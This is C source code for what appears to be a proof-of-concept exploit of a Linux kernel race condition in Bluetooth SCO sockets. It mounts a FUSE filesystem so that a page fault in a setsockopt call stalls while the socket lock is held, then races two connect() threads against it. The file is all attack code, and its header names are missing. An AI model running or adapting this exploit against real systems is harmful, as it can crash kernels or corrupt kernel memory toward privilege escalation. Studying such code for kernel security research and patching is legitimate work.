#define _GNU_SOURCE /* See feature_test_macros(7) */ #include #include #include #include #include #include #include #include #include #include #include #include "fake_fuse.h" int fd; void *evil_page; char *fargs_evil[] = {"poc", "evil", NULL }; static struct fuse_operations ops = { .read = evil_read, .readdir = evil_readdir, .getattr = evil_getattr, }; int nr_cpus, current_cpu = 0; void *connect1(void *arg){ struct sockaddr_sco sa; int i; for(i = 0; i < 6; i++) sa.sco_bdaddr.b[i] = 0; sa.sco_family = AF_BLUETOOTH; connect(fd, (struct sockaddr *)&sa, sizeof(sa)); } void *connect2(void *arg){ struct sockaddr_sco sa; int i; for(i = 0; i < 6; i++) sa.sco_bdaddr.b[i] = 0xff; sa.sco_family = AF_BLUETOOTH; connect(fd, (struct sockaddr *)&sa, sizeof(sa)); } void *setsockopt_(void *arg){ void *value = arg; setsockopt(fd, SOL_SCO, BT_PKT_STATUS, value, sizeof(int)); //acquire the lock_sock(sk) } int get_cpu_num(){ cpu_set_t mask; if(sched_getaffinity(getpid(), sizeof(mask), &mask) != 0) return -1; return CPU_COUNT(&mask); } void do_prepare(){ int n = 0, ret, evil_fd; unsigned long value; unsigned long *fake_stack; nr_cpus = get_cpu_num(); if(nr_cpus == -1){ perror("get cpu numbers failed\n"); exit(-1); } printf("CPU number: %d\n", nr_cpus); } void win_race(){ int lock_fd, key_fd; void *value; pthread_t t1, t2, t3; fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET | SOCK_NONBLOCK , BTPROTO_SCO); if(fd < 0){ perror("create sco socket failed\n"); exit(-1); } lock_fd = open("evil/lock", O_RDWR); if(lock_fd < 0){ perror("open lock failed"); exit(-1); } value = mmap((void *)0x1336000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, lock_fd, 0); if(value != (void *)0x1336000){ perror("mmap for lock_fd"); exit(-1); } pthread_create(&t1, NULL, setsockopt_, value); pthread_create(&t2, NULL, connect1, NULL); pthread_create(&t3, NULL, connect2, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); pthread_join(t3, NULL); munmap(value, 0x1000); close(lock_fd); close(fd); } int main(){ int i, ret; mkdir(EVIL_PATH, 0777); if(!fork()) fuse_main(2, fargs_evil, &ops, NULL); else{ sleep(1); do_prepare(); win_race(); return 0; } }